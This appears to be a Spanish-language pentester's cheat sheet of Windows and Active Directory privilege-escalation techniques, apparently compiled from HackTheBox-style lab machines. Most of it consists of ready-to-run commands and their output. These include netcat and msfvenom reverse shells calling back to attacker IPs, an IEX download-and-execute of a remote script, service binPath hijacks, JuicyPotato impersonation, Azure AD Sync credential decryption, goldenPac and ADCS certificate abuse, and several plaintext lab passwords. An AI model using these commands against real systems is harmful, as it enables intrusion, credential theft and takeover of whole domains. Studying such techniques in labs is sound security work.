Privesc

privesc

Privesc

Abuso del grupo WSUS Administrator

Archivos necesarios

iwr -uri http://10.10.14.2/SharpWSUS.exe -o SharpWSUS.exe
iwr -uri http://10.10.14.2/PsExec64.exe -o PsExec64.exe
iwr -uri http://10.10.14.2/nc.exe -o nc.exe

Reverse Shell

.\SharpWSUS.exe create /payload:"C:\Windows\Temp\Privesc\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c C:\\Windows\Temp\Privesc\\nc.exe -e cmd 10.10.14.2 443" /title:"ReverseShell"

Abuso del grupo Azure Admins

*Evil-WinRM* PS C:\Temp> iwr -uri http://10.10.16.9/AdDecrypt.exe -o AdDecrypt.exe
*Evil-WinRM* PS C:\Temp> iwr -uri http://10.10.16.9/mcrypt.dll -o mcrypt.dll
*Evil-WinRM* PS C:\> cd "C:\Program Files\Microsoft Azure AD Sync\bin"
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\bin> C:\Temp\AdDecrypt.exe -FullSQL

======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!
Domain: MEGABANK.LOCAL

Abuso del grupo DNSAdmins

Creación de binario para la reverse shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.9 LPORT=443 -f dll -o pwned.dll

Inserción en un servicio

*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll \\10.10.16.9\shared\pwned.dll

Reiniciar servicio

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

Abuso del grupo Server Operators

Listar servicios

*Evil-WinRM* PS C:\Users\jorden\Documents> services

Path                                                                                                                 Privileges Service
----                                                                                                                 ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe                                                           True aspnet_state
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys       True MpKslDrv
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER                          True MSSQLSERVER
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"                                                     True SQLBrowser
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER                         True SQLSERVERAGENT
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service                                True SQLTELEMETRY
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"                                                            True SQLWriter
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe"                                              True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe"

Modificación del BinPath de un servicio

*Evil-WinRM* PS C:\Privesc> sc.exe config VMTools binPath="C:\Privesc\nc.exe -e cmd.exe 10.10.16.6 443"
[SC] ChangeServiceConfig SUCCESS

Reinicio del proceso

*Evil-WinRM* PS C:\Privesc> sc.exe config browser binPath="C:\Windows\System32\cmd.exe /c net localgroup administrators jorden /add"
[SC] ChangeServiceConfig SUCCESS

*Evil-WinRM* PS C:\Privesc> sc.exe start browser
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

Credenciales cacheadas

Firefox

*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release> dir -Force

    Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release
[...snip...]

Uso de firepwd.py

Primero copiar al directorio actual de trabajo el key4.db y el login.json

python3 firepwd.py

Listar reglas de Firewall

netsh advfirewall show currentprofile

Abuso del privilegio SeImpersonatePrivileage

Uso de JuicyPotato

PS C:\Temp> .\JuicyPotato.exe -t * -p C:\Windows\system32\cmd.exe -l 1337 -a "/c C:\Temp\nc.exe -e cmd 10.10.16.2 443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Uso de Named Pipes

Para ello es necesario aprovecharse de una tarea CRON en la que otro usuario se atachée a un named pipe alojado del atacante, de forma que se pueda impersonar para ejecutar comandos como este

Path

La estructura de llamada es así

\\.\pipe\dummypipe

Explotación

En caso de ser vulnerable, el script en PowerShell de decoder_it, debe devolver el nombre de usuario que se ha conectado

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> .\pipeserverimpersonate.ps1
Waiting for connection on namedpipe:dummypipe
ImpersonateNamedPipeClient: 1
user=HACKBACK\hacker
OpenThreadToken:True
True
CreateProcessWithToken: False  1058

Alteración del script

###we are impersonating the user, everything we do before RevertoSelf is done on behalf that user
echo "user=$user "
copy C:\Windows\System32\spool\drivers\color\rubbx.bat C:\util\scripts\spool\rubbx.bat

Abuso del servicio userlogger

Detener el servicio

sc stop userlogger C:\test.txt

Explotación

Pasarle como argumento un fichero con dos puntos al final. Se le asignarán privilegios de lectura y escritura para cualquier usuario

C:\>sc start userlogger C:\test.txt:

C:\>icacls test.txt
icacls test.txt
test.txt Everyone:(F)

Successfully processed 1 files; Failed processing 0 files

Iniciar servicio

sc start userlogger C:\Users\Administrator\Desktop\root.txt:

Obtener contenido ADS

more < C:\Users\Administrator\Desktop\root.txt:flag.txt

Dumpeo de hashes NT

impacket-secretsdump -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit LOCAL

Obtener procesos por Identificador

PS C:\Windows\Temp> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/Get-WinEventData.ps1')

PS C:\Windows\Temp> Get-WinEvent -FilterHashtable @{Logname='security';id=4688} -MaxEvents 10 | Get-WinEventData

Decrypt groups.xml

gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ
MyUnclesAreMarioAndLuigi!!1!

Golden Ticket Attack

goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.....
[*] Found writable share ADMIN$
[*] Uploading file xvCbwVPb.exe
[*] Opening SVCManager on mantis.....
[*] Creating service Jlxr on mantis.....
[*] Starting service Jlxr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Abuso de certificados

PS C:\Users\diegocruz\Desktop> .\Certify.exe find /vulnerable /currentuser

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using current user's unrolled group SIDs for vulnerability checks.
[*] Using the search base 'CN=Configuration,DC=windcorp,DC=htb'

[*] Listing info about the Enterprise CA 'windcorp-CA'

    Enterprise CA Name            : windcorp-CA
    DNS Hostname                  : earth.windcorp.htb
    FullName                      : earth.windcorp.htb\windcorp-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=windcorp-CA, DC=windcorp, DC=htb
    Cert Thumbprint               : 280458EB20AE6B8A8FFE9B428A5078094F91B3E8
    Cert Serial                   : 3645930A75C5C8BA4AAC0A5C883DEE60
    Cert Start Date               : 5/24/2021 7:48:07 PM
    Cert End Date                 : 5/24/2036 7:58:07 PM
    Cert Chain                    : CN=windcorp-CA,DC=windcorp,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
      Allow  ManageCA, ManageCertificates               WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
    Enrollment Agent Restrictions : None

[+] No Vulnerable Certificates Templates found!

    CA Name                               : earth.windcorp.htb\windcorp-CA
    Template Name                         : Web
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Server Authentication
    mspki-certificate-application-policy  : Server Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
        All Extended Rights         : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
      Object Control Permissions
        Owner                       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
        Full Control Principals     : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteOwner Principals       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteDacl Principals        : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteProperty Principals    : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290

Certify completed in 00:00:12.5182225

Abuso de ENROLLEE_SUPPLIES_SUBJECT

Puedo tratar de crear un nuevo certificado a partir de un principal ya existente en el sistema y pasarselo a Rubeus para obtener un hash NT del usuario Administrador. Para poder crearlo necesito importar ADCS.ps1 a la máquina (Active Directory Cerficate Services) y PowerView.ps1

Get-SmartCardCertificate -Identity Administrator -TemplateName web -NoSmartCard -Verbose

PS C:\Users\diegocruz\Desktop> gci cert:\currentuser\my

   PSParentPath: Microsoft.PowerShell.Security\Certificate::currentuser\my

Thumbprint                                Subject                                                                      
----------                                -------                                                                      
F52A69DE4A6F654097422754629CA33AD314F1E0

PS C:\Users\diegocruz\Desktop> .\Rubeus.exe asktgt /user:Administrator /certificate:F52A69DE4A6F654097422754629CA33AD314F1E0 /getcredentials

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Last updated 2 years ago